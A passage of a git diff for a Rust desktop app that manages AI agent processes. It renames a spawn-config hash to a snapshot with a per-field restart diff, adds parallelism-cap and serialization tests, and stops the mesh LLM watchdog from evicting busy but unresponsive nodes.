             &[],
             "wss://ws.example",
             &Default::default()
         ),
-        spawn_config_hash(
+        snapshot(
             &rec,
             &definition_with_quad,
             &[],
             "wss://ws.example",
             &Default::default()
         ),
-        "definition quad must not leak into the spawn hash of an existing instance"
+        "definition quad must not leak into the spawn snapshot of an existing instance"
     );
 }
 
 #[test]
-fn empty_prompt_hashes_like_absent_prompt() {
-    // B5 hash row 2 foundation: Some("") and None spawn identically (env var
-    // absent either way), so they must hash equal — a backfilled prompt-less
+fn empty_prompt_snapshots_like_absent_prompt() {
+    // B5 drift row 2 foundation: Some("") and None spawn identically (env var
+    // absent either way), so they must snapshot equal — a backfilled prompt-less
     // record re-snapshots to Some("") and must not trip the badge.
     let mut absent = record();
     absent.system_prompt = None;
     let mut empty = record();
     empty.system_prompt = Some(String::new());
     assert_eq!(
-        spawn_config_hash(&absent, &[], &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&empty, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&absent, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&empty, &[], &[], "wss://ws.example", &Default::default()),
     );
 }
 
-/// (a) A definition-runtime edit must change spawn_config_hash for a
+/// (a) A definition-runtime edit must change the snapshot for a
 /// materialized, override-free record — the prospective re-snapshot now
-/// copies the persona's runtime onto the record before hashing.
+/// copies the persona's runtime onto the record before snapshotting.
 #[test]
-fn definition_runtime_edit_changes_hash_for_materialized_record() {
+fn definition_runtime_edit_changes_snapshot_for_materialized_record() {
     let mut rec = record();
     rec.persona_id = Some("pers".into());
     rec.runtime = Some("goose".into()); // materialized runtime on instance
@@ -371,8 +384,8 @@ fn definition_runtime_edit_changes_hash_for_materialized_record() {
     let before = [persona("pers", Some("goose"), "prompt")];
     let after = [persona("pers", Some("claude"), "prompt")];
     assert_ne!(
-        spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default()),
+        snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()),
+        snapshot(&rec, &after, &[], "wss://ws.example", &Default::default()),
         "definition runtime edit must badge a materialized, override-free instance"
     );
 }
@@ -389,8 +402,8 @@ fn known_runtime_pin_yields_to_definition_runtime_change() {
     let before = [persona("pers", Some("goose"), "prompt")];
     let after = [persona("pers", Some("claude"), "prompt")];
     assert_ne!(
-        spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default()),
+        snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()),
+        snapshot(&rec, &after, &[], "wss://ws.example", &Default::default()),
         "stale known-runtime pin must not shadow a definition runtime edit"
     );
 }
@@ -407,16 +420,16 @@ fn custom_command_override_beats_definition_runtime_change() {
     let before = [persona("pers", Some("goose"), "prompt")];
     let after = [persona("pers", Some("claude"), "prompt")];
     assert_eq!(
-        spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default()),
+        snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()),
+        snapshot(&rec, &after, &[], "wss://ws.example", &Default::default()),
         "custom command override must win regardless of definition runtime change"
     );
 }
 
 /// (d) When the linked definition is absent the prospective re-snapshot is
-/// skipped entirely: the materialized runtime must still affect the hash.
+/// skipped entirely: the materialized runtime must still reach the snapshot.
 #[test]
-fn missing_definition_leaves_materialized_runtime_in_hash() {
+fn missing_definition_leaves_materialized_runtime_in_snapshot() {
     let mut rec = record();
     rec.persona_id = Some("missing".into());
     rec.runtime = Some("goose".into()); // materialized runtime
@@ -427,28 +440,28 @@ fn missing_definition_leaves_materialized_runtime_in_hash() {
     no_runtime.runtime = None;
 
     assert_ne!(
-        spawn_config_hash(
+        snapshot(
             &rec,
             no_personas,
             &[],
             "wss://ws.example",
             &Default::default()
         ),
-        spawn_config_hash(
+        snapshot(
             &no_runtime,
             no_personas,
             &[],
             "wss://ws.example",
             &Default::default()
         ),
-        "materialized runtime must still affect hash when definition is absent"
+        "materialized runtime must still reach the snapshot when definition is absent"
     );
 }
 
-// ── Global default trips hash for linked inherited agents ─────────────────
+// ── Global default trips drift for linked inherited agents ───────────────
 
 #[test]
-fn global_model_change_trips_hash_for_linked_inherited_agent() {
+fn global_model_change_trips_snapshot_for_linked_inherited_agent() {
     let mut rec = record();
     rec.persona_id = Some("p1".into());
     rec.model = Some("stale-record-model".into());
@@ -466,17 +479,17 @@ fn global_model_change_trips_hash_for_linked_inherited_agent() {
         ..Default::default()
     };
 
-    let hash_a = spawn_config_hash(&rec, &personas, &[], "wss://ws.example", &global_a);
-    let hash_b = spawn_config_hash(&rec, &personas, &[], "wss://ws.example", &global_b);
+    let snapshot_a = snapshot(&rec, &personas, &[], "wss://ws.example", &global_a);
+    let snapshot_b = snapshot(&rec, &personas, &[], "wss://ws.example", &global_b);
 
     assert_ne!(
-        hash_a, hash_b,
-        "changing the global default must trip the hash for a linked inherited agent"
+        snapshot_a, snapshot_b,
+        "changing the global default must drift a linked inherited agent"
     );
 }
 
 #[test]
-fn global_model_change_trips_hash_without_model_env_var() {
+fn global_model_change_trips_snapshot_without_model_env_var() {
     let mut rec = record();
     rec.persona_id = Some("p1".into());
     rec.agent_command = "some-harness-without-model-env".into();
@@ -497,26 +510,26 @@ fn global_model_change_trips_hash_without_model_env_var() {
         ..Default::default()
     };
 
-    let hash_a = spawn_config_hash(&rec, &personas, &[], "wss://ws.example", &global_a);
-    let hash_b = spawn_config_hash(&rec, &personas, &[], "wss://ws.example", &global_b);
+    let snapshot_a = snapshot(&rec, &personas, &[], "wss://ws.example", &global_a);
+    let snapshot_b = snapshot(&rec, &personas, &[], "wss://ws.example", &global_b);
 
     assert_ne!(
-        hash_a, hash_b,
-        "global model change must trip hash even without a model_env_var runtime"
+        snapshot_a, snapshot_b,
+        "global model change must drift even without a model_env_var runtime"
     );
 }
 
 #[test]
-fn linked_instance_stale_prompt_bytes_are_inert_at_hash_time() {
+fn linked_instance_stale_prompt_bytes_are_inert_at_snapshot_time() {
     // Regression for the split-resolve defect: prompt used to be read from
     // the record's own (possibly Phase-A-snapshot-stale) bytes while
     // model/provider were resolved live from the definition. A definition
     // edit landing between a caller's snapshot apply and spawn could hand a
-    // fresh model/provider to a stale prompt, and the hash (which already
+    // fresh model/provider to a stale prompt, and the drift check (which already
     // resolved model/provider live) would silently agree with a spawn that
     // wrote the stale prompt. Now both come from one `resolve_effective_config`
     // call, so a record whose own `system_prompt` bytes disagree with the
-    // live definition must hash exactly as if the record carried the
+    // live definition must snapshot exactly as if the record carried the
     // definition's prompt verbatim — the record's prompt bytes are inert for
     // a linked instance.
     let mut rec = record();
@@ -529,26 +542,26 @@ fn linked_instance_stale_prompt_bytes_are_inert_at_hash_time() {
     let personas = [persona("p1", Some("goose"), "live prompt")];
 
     assert_eq!(
-        spawn_config_hash(
+        snapshot(
             &rec,
             &personas,
             &[],
             "wss://ws.example",
             &Default::default()
         ),
-        spawn_config_hash(
+        snapshot(
             &matching_bytes,
             &personas,
             &[],
             "wss://ws.example",
             &Default::default()
         ),
-        "record's own system_prompt bytes must not affect the hash of a linked instance"
+        "record's own system_prompt bytes must not affect the snapshot of a linked instance"
     );
 }
 
 #[test]
-fn display_name_edit_changes_hash() {
+fn display_name_edit_changes_snapshot() {
     // The spawn writes BUZZ_ACP_SESSION_TITLE from display_name-or-name, so a
     // rename must trip the badge: the running process keeps the old title
     // until it restarts, and the operator has to be told that.
@@ -556,32 +569,32 @@ fn display_name_edit_changes_hash() {
     let mut renamed = record();
     renamed.display_name = Some("Fizz".into());
     assert_ne!(
-        spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&renamed, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&renamed, &[], &[], "wss://ws.example", &Default::default()),
         "a display-name rename changes the spawned session title and must badge"
     );
 }
 
 #[test]
-fn name_edit_changes_hash_when_display_name_is_absent() {
+fn name_edit_changes_snapshot_when_display_name_is_absent() {
     // With no display_name the title falls back to the unique handle, so the
-    // handle is what the env write carries and what must be hashed.
+    // handle is what the env write carries and what must be snapshotted.
     let rec = record();
     let mut renamed = record();
     renamed.name = "agent-2".into();
     assert_ne!(
-        spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&renamed, &[], &[], "wss://ws.example", &Default::default()),
-        "the fallback title source must reach the hash too"
+        snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&renamed, &[], &[], "wss://ws.example", &Default::default()),
+        "the fallback title source must reach the snapshot too"
     );
 }
 
 #[test]
-fn display_name_edit_does_not_change_hash_under_an_explicit_title_override() {
+fn display_name_edit_does_not_change_snapshot_under_an_explicit_title_override() {
     // User env is written AFTER the Buzz-set title (last-wins), so an explicit
     // BUZZ_ACP_SESSION_TITLE is what the child actually runs with. Renaming the
     // record changes nothing about the spawned process, so badging it would be
-    // a false restart prompt. The override itself still reaches the hash
+    // a false restart prompt. The override itself still reaches the snapshot
     // through the effective env.
     let mut rec = record();
     rec.env_vars
@@ -589,14 +602,14 @@ fn display_name_edit_does_not_change_hash_under_an_explicit_title_override() {
     let mut renamed = rec.clone();
     renamed.display_name = Some("Fizz".into());
     assert_eq!(
-        spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&renamed, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&renamed, &[], &[], "wss://ws.example", &Default::default()),
         "a rename shadowed by an explicit title override must not badge"
     );
 }
 
 #[test]
-fn title_override_edit_changes_hash() {
+fn title_override_edit_changes_snapshot() {
     // Counterpart to the test above: the override is not inert — editing it
     // changes what the child runs with and must badge.
     let mut rec = record();
@@ -607,8 +620,8 @@ fn title_override_edit_changes_hash() {
         .env_vars
         .insert("BUZZ_ACP_SESSION_TITLE".into(), "Other Title".into());
     assert_ne!(
-        spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()),
         "editing an explicit title override must badge"
     );
 }
@@ -616,7 +629,7 @@ fn title_override_edit_changes_hash() {
 #[test]
 fn linked_instance_prompt_model_provider_resolve_from_one_call() {
     // The prompt for a linked instance must track the definition, exactly
-    // like model/provider — a definition prompt edit trips the hash even
+    // like model/provider — a definition prompt edit drifts the snapshot even
     // though the record's own (stale) system_prompt bytes are unchanged.
     let mut rec = record();
     rec.persona_id = Some("p1".into());
@@ -626,25 +639,25 @@ fn linked_instance_prompt_model_provider_resolve_from_one_call() {
     let after = [persona("p1", Some("goose"), "new definition prompt")];
 
     assert_ne!(
-        spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default()),
+        snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()),
+        snapshot(&rec, &after, &[], "wss://ws.example", &Default::default()),
         "linked instance prompt must resolve from the live definition, not stale record bytes"
     );
 }
 
-// ── I2: definition args and env reach spawn_config_hash ──────────────────────
+// ── I2: definition args and env reach the snapshot ───────────────────────────
 //
 // These tests prove that editing a custom harness definition's args or env
-// changes spawn_config_hash, which trips the "restart required" badge.
-// They would fail if spawn_config_hash used only record.agent_args without
+// change the snapshot, which trips the "restart required" badge.
+// They would fail if the snapshot used only record.agent_args without
 // falling back to definition args, or if resolve_effective_agent_env did not
 // include definition env.
 
 /// When a record has no instance args but the definition has default args,
-/// changing the definition args changes the spawn hash. This would fail if
-/// spawn_config_hash used only record.agent_args.
+/// changing the definition args changes the snapshot. This would fail if
+/// the snapshot used only record.agent_args.
 #[test]
-fn spawn_hash_changes_when_definition_default_args_change() {
+fn spawn_snapshot_changes_when_definition_default_args_change() {
     use crate::managed_agents::custom_harnesses::{
         registry_test_lock, warm_harness_registry_from_dir,
     };
@@ -652,8 +665,8 @@ fn spawn_hash_changes_when_definition_default_args_change() {
     use tempfile::tempdir;
 
     // The loaded-harness registry is process-global: a parallel test re-warming
-    // it between the two hash computations makes both resolve to no-definition
-    // and h1 == h2 (observed on Windows CI).
+    // it between the two snapshots makes both resolve to no-definition
+    // and s1 == s2 (observed on Windows CI).
     let _lock = registry_test_lock();
     let dir = tempdir().unwrap();
 
@@ -669,7 +682,7 @@ fn spawn_hash_changes_when_definition_default_args_change() {
     r.runtime = Some("my-def".into());
     r.agent_args = vec![]; // no instance args → definition args are used
 
-    let h1 = spawn_config_hash(&r, &[], &[], "ws://relay", &Default::default());
+    let s1 = snapshot(&r, &[], &[], "ws://relay", &Default::default());
 
     // Update to v2 args and re-warm (simulating save + transactional refresh).
     fs::write(
@@ -679,18 +692,18 @@ fn spawn_hash_changes_when_definition_default_args_change() {
     .unwrap();
     warm_harness_registry_from_dir(Some(dir.path()));
 
-    let h2 = spawn_config_hash(&r, &[], &[], "ws://relay", &Default::default());
+    let s2 = snapshot(&r, &[], &[], "ws://relay", &Default::default());
 
     assert_ne!(
-        h1, h2,
-        "changing definition default args must change the spawn hash"
+        s1, s2,
+        "changing definition default args must change the snapshot"
     );
 }
 
-/// When a definition has env vars, adding them changes the spawn hash. This
+/// When a definition has env vars, adding them changes the snapshot. This
 /// proves resolve_effective_agent_env includes definition env in the layering.
 #[test]
-fn spawn_hash_changes_when_definition_env_changes() {
+fn spawn_snapshot_changes_when_definition_env_changes() {
     use crate::managed_agents::custom_harnesses::{
         registry_test_lock, warm_harness_registry_from_dir,
     };
@@ -712,7 +725,7 @@ fn spawn_hash_changes_when_definition_env_changes() {
     let mut r = record();
     r.runtime = Some("env-def".into());
 
-    let h1 = spawn_config_hash(&r, &[], &[], "ws://relay", &Default::default());
+    let s1 = snapshot(&r, &[], &[], "ws://relay", &Default::default());
 
     // Update to include env and re-warm.
     fs::write(
@@ -722,16 +735,16 @@ fn spawn_hash_changes_when_definition_env_changes() {
     .unwrap();
     warm_harness_registry_from_dir(Some(dir.path()));
 
-    let h2 = spawn_config_hash(&r, &[], &[], "ws://relay", &Default::default());
+    let s2 = snapshot(&r, &[], &[], "ws://relay", &Default::default());
 
-    assert_ne!(h1, h2, "adding definition env must change the spawn hash");
+    assert_ne!(s1, s2, "adding definition env must change the snapshot");
 }
 
 /// Instance-level args win over definition default args (non-empty instance
-/// args must NOT be overridden by the definition). The hash must match a record
+/// args must NOT be overridden by the definition). The snapshot must match a record
 /// that has the same effective args from either source.
 #[test]
-fn spawn_hash_instance_args_win_over_definition_args() {
+fn spawn_snapshot_instance_args_win_over_definition_args() {
     use crate::managed_agents::custom_harnesses::{
         registry_test_lock, warm_harness_registry_from_dir,
     };
@@ -756,12 +769,61 @@ fn spawn_hash_instance_args_win_over_definition_args() {
     r_no_instance.runtime = Some("arg-def".into());
     r_no_instance.agent_args = vec![];
 
-    let h_instance = spawn_config_hash(&r_instance, &[], &[], "ws://relay", &Default::default());
-    let h_no_instance =
-        spawn_config_hash(&r_no_instance, &[], &[], "ws://relay", &Default::default());
+    let snapshot_instance = snapshot(&r_instance, &[], &[], "ws://relay", &Default::default());
+    let snapshot_no_instance =
+        snapshot(&r_no_instance, &[], &[], "ws://relay", &Default::default());
+
+    assert_ne!(
+        snapshot_instance, snapshot_no_instance,
+        "instance args and definition args must produce different snapshots"
+    );
+}
+
+// ── Parallelism cap: above-cap equivalence + cap crossing ─────────────────────
+//
+// The snapshot stores the *effective* parallelism (min(requested, harness cap))
+// so that over-cap edits that don't change the running pool size do not raise a
+// spurious "restart required" badge, while cap crossings (e.g. 8 → 3, where 3
+// is below the cap) still badge because the pool actually changes.
+
+/// Two over-cap parallelism values (10 and 8) produce the same snapshot for
+/// OpenClaw: both clamp to OPENCLAW_MAX_PARALLELISM (5).
+#[test]
+fn openclaw_above_cap_parallelism_snapshots_equal() {
+    let mut at_10 = record();
+    at_10.runtime = Some("openclaw".into());
+    at_10.agent_command = "openclaw".into();
+    at_10.parallelism = 10;
+
+    let mut at_8 = record();
+    at_8.runtime = Some("openclaw".into());
+    at_8.agent_command = "openclaw".into();
+    at_8.parallelism = 8;
+
+    assert_eq!(
+        snapshot(&at_10, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&at_8, &[], &[], "wss://ws.example", &Default::default()),
+        "parallelism 10 and 8 both clamp to 5 for OpenClaw — snapshots must be equal, no restart badge"
+    );
+}
+
+/// A cap-crossing edit (8 → 3) produces different snapshots: 8 clamps to 5,
+/// but 3 is below the cap and runs as 3 — the pool changes, so the badge fires.
+#[test]
+fn openclaw_cap_crossing_parallelism_snapshots_differ() {
+    let mut at_8 = record();
+    at_8.runtime = Some("openclaw".into());
+    at_8.agent_command = "openclaw".into();
+    at_8.parallelism = 8;
+
+    let mut at_3 = record();
+    at_3.runtime = Some("openclaw".into());
+    at_3.agent_command = "openclaw".into();
+    at_3.parallelism = 3;
 
     assert_ne!(
-        h_instance, h_no_instance,
-        "instance args and definition args must produce different hashes"
+        snapshot(&at_8, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&at_3, &[], &[], "wss://ws.example", &Default::default()),
+        "parallelism 8 (clamps to 5) and 3 (runs as 3) must produce different snapshots"
     );
 }
diff --git a/desktop/src-tauri/src/managed_agents/types.rs b/desktop/src-tauri/src/managed_agents/types.rs
index fcd8b13fc9..e5be105fed 100644
--- a/desktop/src-tauri/src/managed_agents/types.rs
+++ b/desktop/src-tauri/src/managed_agents/types.rs
@@ -462,13 +462,12 @@ pub struct RelayMeshConfig {
 pub struct ManagedAgentProcess {
     pub child: Child,
     pub log_path: PathBuf,
-    /// Digest of the effective spawn config at launch (see
-    /// `spawn_hash::spawn_config_hash`). Runtime-only — never persisted. The
-    /// summary builder recomputes the hash from current disk state and flags
-    /// `needs_restart` on mismatch. Agents adopted via a persisted
-    /// `runtime_pid` have no `ManagedAgentProcess` entry, so their spawn
-    /// config is unknown and the badge stays off.
-    pub spawn_config_hash: u64,
+    /// The effective spawn config this process was launched with (see
+    /// `spawn_snapshot::SpawnConfigSnapshot`). Runtime-only — never persisted.
+    /// The summary builder recomputes a prospective snapshot and reports
+    /// differing fields via `ManagedAgentSummary::restart_diff`. Agents
+    /// adopted via `runtime_pid` have none; their config is unknown.
+    pub spawn_config: super::spawn_snapshot::SpawnConfigSnapshot,
     /// Whether this process was spawned in setup-listener mode (i.e.
     /// `BUZZ_ACP_SETUP_PAYLOAD` was set at launch because the agent was
     /// `NotReady`). Runtime-only — never persisted. Used by
@@ -541,13 +540,14 @@ pub struct ManagedAgentSummary {
     /// `OrphanedInstance` arm via `require_resolved`) — so the UI
     /// should surface that it's stuck, not merely stale.
     pub persona_orphaned: bool,
-    /// `true` when the running process was spawned with a config that no
-    /// longer matches what a spawn would use today — a plain restart would
-    /// change what runs. Complements `persona_out_of_date`: the badge means
-    /// "a restart would change what runs"; out-of-date means "a respawn
-    /// would." Always `false` for stopped agents and for processes adopted
-    /// via a persisted `runtime_pid` (their spawn config is unknown).
+    /// `true` when the running process's spawn config no longer matches
+    /// what a spawn would use today. Derived from `restart_diff` — lit
+    /// exactly when there is something to show. Always `false` for stopped,
+    /// orphaned, or `runtime_pid`-adopted agents.
     pub needs_restart: bool,
+    /// Fields that drifted since launch, redacted for display.
+    #[serde(default, skip_serializing_if = "Vec::is_empty")]
+    pub restart_diff: Vec<super::spawn_snapshot::RestartDiffEntry>,
     #[serde(default, skip_serializing_if = "BTreeMap::is_empty")]
     pub env_vars: BTreeMap<String, String>,
     pub backend: BackendKind,
@@ -594,10 +594,8 @@ pub enum AcpAvailabilityStatus {
     NotInstalled,
 }
 
-/// Authentication/login status for a CLI-based ACP runtime.
-///
-/// Serializes as a tagged union `{ status: "...", diagnostic?: "..." }` so
-/// the TypeScript side can exhaustively switch on `status`.
+/// Authentication/login status for a CLI-based ACP runtime. Serializes as a tagged union
+/// `{ status: "...", diagnostic?: "..." }` so the TypeScript side can exhaustively switch on `status`.
 #[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
 #[serde(rename_all = "snake_case", tag = "status")]
 pub enum AuthStatus {
@@ -616,8 +614,7 @@ pub enum AuthStatus {
     Unknown,
 }
 
-/// Origin of an ACP runtime catalog entry. Serializes as a lowercase string
-/// so the TypeScript consumer can switch on it without numeric comparisons.
+/// Origin of an ACP runtime catalog entry. Serializes as a lowercase string so the TypeScript consumer can switch on it without numeric comparisons.
 #[derive(Debug, Clone, Serialize, PartialEq, Eq)]
 #[serde(rename_all = "snake_case")]
 pub enum HarnessSource {
@@ -645,6 +642,9 @@ pub struct AcpRuntimeCatalogEntry {
     pub provider_env_var: Option<String>,
     /// Environment variable used to apply thinking effort, when supported.
     pub thinking_env_var: Option<String>,
+    pub max_tokens_env_var: Option<String>,
+    pub context_limit_env_var: Option<String>,
+    pub max_rounds_env_var: Option<String>,
     pub install_hint: String,
     pub install_instructions_url: String,
     /// true when at least one automated install step is available
@@ -663,16 +663,14 @@ pub struct AcpRuntimeCatalogEntry {
     /// Whether this entry came from the compiled-in catalog or a user-supplied
     /// JSON file in `custom_harnesses/`. The UI uses this to decide editability.
     pub source: HarnessSource,
-    /// Definition-level environment variables for `source: custom` entries.
-    ///
-    /// Populated from `HarnessDefinition.env` so the edit form can read them
-    /// back and the user doesn't silently lose env vars when saving.  Always
-    /// empty for `builtin` and `preset` entries (those env values come from the
-    /// runtime metadata path, not user-editable JSON).
-    ///
-    /// Skipped in serialization when empty to keep the catalog payload compact.
+    /// Definition-level env vars for `source: custom` entries; populated from
+    /// `HarnessDefinition.env` so saves don't silently erase existing vars.
+    /// Absent for builtin/preset entries. Skipped when empty in serialization.
     #[serde(default, skip_serializing_if = "BTreeMap::is_empty")]
     pub definition_env: BTreeMap<String, String>,
+    /// Spawn-time parallelism cap; absent for uncapped harnesses.
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub max_parallelism: Option<u32>,
 }
 
 /// Result of a single install step (CLI or adapter).
diff --git a/desktop/src-tauri/src/managed_agents/types/tests.rs b/desktop/src-tauri/src/managed_agents/types/tests.rs
index 96ed556068..1db7b9b524 100644
--- a/desktop/src-tauri/src/managed_agents/types/tests.rs
+++ b/desktop/src-tauri/src/managed_agents/types/tests.rs
@@ -694,3 +694,93 @@ fn mint_rejects_out_of_range_input_parallelism() {
         "input-branch error must not blame the definition: {err}"
     );
 }
+
+// ── Restart-diff wire shape ─────────────────────────────────────────────────
+
+fn summary_fixture(
+    restart_diff: Vec<crate::managed_agents::spawn_snapshot::RestartDiffEntry>,
+) -> super::ManagedAgentSummary {
+    super::ManagedAgentSummary {
+        pubkey: "aa".repeat(32),
+        name: "test".into(),
+        persona_id: None,
+        runtime: None,
+        team_id: None,
+        relay_url: String::new(),
+        acp_command: "buzz-acp".into(),
+        agent_command: "goose".into(),
+        agent_command_override: None,
+        agent_args: Vec::new(),
+        mcp_command: String::new(),
+        turn_timeout_seconds: 320,
+        idle_timeout_seconds: None,
+        max_turn_duration_seconds: None,
+        parallelism: 1,
+        system_prompt: None,
+        avatar_url: None,
+        model: None,
+        model_source: None,
+        provider: None,
+        persona_out_of_date: false,
+        persona_orphaned: false,
+        // Both fields derive from one vector in `build_managed_agent_summary`;
+        // the fixture reproduces that rule rather than letting them disagree.
+        needs_restart: !restart_diff.is_empty(),
+        restart_diff,
+        env_vars: Default::default(),
+        backend: super::BackendKind::Local,
+        backend_agent_id: None,
+        status: "running".into(),
+        pid: Some(4242),
+        created_at: "2026-01-01T00:00:00Z".into(),
+        updated_at: "2026-01-01T00:00:00Z".into(),
+        last_started_at: None,
+        last_stopped_at: None,
+        last_exit_code: None,
+        last_error: None,
+        last_error_code: None,
+        start_on_app_launch: false,
+        auto_restart_on_config_change: false,
+        log_path: String::new(),
+        respond_to: RespondTo::OwnerOnly,
+        respond_to_allowlist: Vec::new(),
+    }
+}
+
+#[test]
+fn summary_without_drift_omits_restart_diff_from_the_wire() {
+    // An adopted `runtime_pid`-only process is never stamped, so its summary
+    // carries an empty vector. `skip_serializing_if` must then drop the key
+    // entirely — the frontend normalizes omission to `[]`, and emitting an
+    // empty array on every stopped agent would bloat every list response.
+    let wire = serde_json::to_value(summary_fixture(Vec::new())).expect("summary serializes");
+    assert_eq!(wire.get("needs_restart"), Some(&serde_json::json!(false)));
+    assert!(
+        wire.get("restart_diff").is_none(),
+        "empty restart_diff must be omitted, got: {wire}"
+    );
+}
+
+#[test]
+fn summary_with_drift_serializes_restart_diff_entries() {
+    // The other side of the same rule: a present entry must reach the wire
+    // under its snake_case key with the tagged change payload intact.
+    let wire = serde_json::to_value(summary_fixture(vec![
+        crate::managed_agents::spawn_snapshot::RestartDiffEntry {
+            field: "model".into(),
+            change: crate::managed_agents::spawn_snapshot::diff::RestartChange::Value {
+                before: serde_json::json!("gpt-5"),
+                after: serde_json::json!("claude-4"),
+            },
+        },
+    ]))
+    .expect("summary serializes");
+    assert_eq!(wire.get("needs_restart"), Some(&serde_json::json!(true)));
+    assert_eq!(
+        wire.get("restart_diff"),
+        Some(&serde_json::json!([{
+            "field": "model",
+            "change": { "kind": "value", "before": "gpt-5", "after": "claude-4" },
+        }]))
+    );
+}
diff --git a/desktop/src-tauri/src/mesh_llm/recovery.rs b/desktop/src-tauri/src/mesh_llm/recovery.rs
index 89ca6396e9..7933fd291e 100644
--- a/desktop/src-tauri/src/mesh_llm/recovery.rs
+++ b/desktop/src-tauri/src/mesh_llm/recovery.rs
@@ -149,8 +149,25 @@ fn should_evict_after_probe(
     probe: MeshIngressProbe,
     consecutive: u32,
 ) -> bool {
-    urgency == MeshRecoveryUrgency::Foreground && probe == MeshIngressProbe::PortClosed
-        || consecutive >= DEAD_PROBE_EVICT_THRESHOLD
+    // Only a CLOSED port is evidence of death. A bound-but-HTTP-unresponsive
+    // port ("Unhealthy") is a BUSY node, not a dead one: mesh serializes all
+    // HTTP on the ingress — including the `/v1/models` liveness probe — behind
+    // in-flight inference, so a large-prompt turn on a big model leaves the
+    // control plane unresponsive for the whole turn (measured ~27s on a
+    // gemma-4-26B node) while TCP-connect keeps answering in ~0ms. Model load
+    // and package-layer download are unresponsive in exactly the same way.
+    // Evicting on any of those turns ordinary backpressure into a destructive
+    // whole-app restart loop, which is the regression this fixes. A genuinely
+    // wedged bound port cannot be distinguished from a busy one without a
+    // lock-free health endpoint on the ingress (tracked upstream in mesh-llm);
+    // until that exists we never evict a bound port and rely solely on the
+    // unambiguous closed-port signal.
+    match probe {
+        MeshIngressProbe::Live | MeshIngressProbe::Unhealthy => false,
+        MeshIngressProbe::PortClosed => {
+            urgency == MeshRecoveryUrgency::Foreground || consecutive >= DEAD_PROBE_EVICT_THRESHOLD
+        }
+    }
 }
 
 fn requires_process_restart(
@@ -160,10 +177,11 @@ fn requires_process_restart(
     startup_in_progress || mode == crate::mesh_llm::MeshNodeMode::Serve
 }
 
-/// Probe and, when justified, remove one stale runtime. A closed port is
-/// decisive for a foreground agent start; watchdog and ambiguous/unhealthy
-/// ports require consecutive failures to avoid restarting on a transient load
-/// spike.
+/// Probe and, when justified, remove one stale runtime. Only a CLOSED port is
+/// treated as death: a foreground agent start evicts immediately, the watchdog
+/// after a short consecutive-failure streak. A bound-but-unresponsive
+/// ("Unhealthy") port is never evicted — it is a busy or still-loading node,
+/// not a dead one (see `should_evict_after_probe`).
 pub(crate) async fn recover_stale_mesh_runtime(
     state: &AppState,
     urgency: MeshRecoveryUrgency,
@@ -490,6 +508,89 @@ mod tests {
         ));
     }
 
+    #[test]
+    fn watchdog_closed_port_still_evicts_after_consecutive_streak() {
+        // A genuinely dead listener (crashed / released its port) must still be
+        // reclaimed — the closed-port signal is unchanged by this fix.
+        assert!(!should_evict_after_probe(
+            MeshRecoveryUrgency::Watchdog,
+            MeshIngressProbe::PortClosed,
+            1
+        ));
+        assert!(should_evict_after_probe(
+            MeshRecoveryUrgency::Watchdog,
+            MeshIngressProbe::PortClosed,
+            DEAD_PROBE_EVICT_THRESHOLD
+        ));
+    }
+
+    #[test]
+    fn busy_or_loading_bound_port_is_never_evicted() {
+        // The regression this fixes: mesh serializes all ingress HTTP (incl.
+        // the `/v1/models` liveness probe) behind in-flight inference, so a
+        // large-prompt turn, a model load, or a layer download leaves the port
+        // bound-but-unresponsive ("Unhealthy"). No probe streak, and no
+        // urgency, may evict such a node — doing so restarts a node that is
+        // alive and working.
+        for consecutive in [1, 2, 5, 100] {
+            for urgency in [
+                MeshRecoveryUrgency::Watchdog,
+                MeshRecoveryUrgency::Foreground,
+            ] {
+                assert!(
+                    !should_evict_after_probe(urgency, MeshIngressProbe::Unhealthy, consecutive),
+                    "a bound-but-busy port must never evict (urgency={urgency:?}, \
+                     consecutive={consecutive})"
+                );
+            }
+        }
+    }
+
+    #[test]
+    fn long_model_load_never_reaches_the_restart_path() {
+        // Pins the exact false positive this fix removes. A big model stays
+        // bound-but-unresponsive for MINUTES while it loads weights and
+        // downloads package layers, so the watchdog sees an unbroken run of
+        // `Unhealthy` probes. Walk ~5 minutes of watchdog passes at its 15s
+        // base interval and assert the eviction gate stays shut the whole way
+        // — for a serve node, one `true` here is a whole-app restart.
+        let state = MeshRecoveryState::default();
+        let runtime_id = 42;
+        let passes = (5 * 60) / 15;
+
+        for pass in 1..=passes {
+            let consecutive = state.record_dead_probe(runtime_id);
+            // The streak really does climb — the non-eviction below is the
+            // rule refusing to act, not the counter quietly resetting.
+            assert_eq!(
+                consecutive, pass,
+                "probe streak should keep climbing across a long load"
+            );
+            for urgency in [
